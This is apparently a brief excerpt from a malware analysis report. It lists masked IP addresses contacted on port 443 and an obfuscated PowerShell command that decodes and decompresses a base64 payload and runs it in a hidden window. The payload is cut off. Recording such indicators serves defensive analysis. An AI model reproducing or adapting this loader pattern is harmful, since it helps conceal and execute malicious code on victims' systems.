Technical Information
- '21#.#8.213.142':443
- '21#.#8.213.144':443
- '21#.#8.213.143':443
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "(new-ObJEct io.cOmprESSiOn.defLaTESTREaM([io.mEMoRYsTREAM][sYstem.convERT]::FRoMbAse64StRinG( 'rZ1rkiM5joSvosqs3SkpTT0HaCubuYe2T5KjPfumnkG4fw5S2funrTPE4AMEHA4QjPq12/3j8D+73f4f/9nt/mu3+9ztf...' (with hidden window)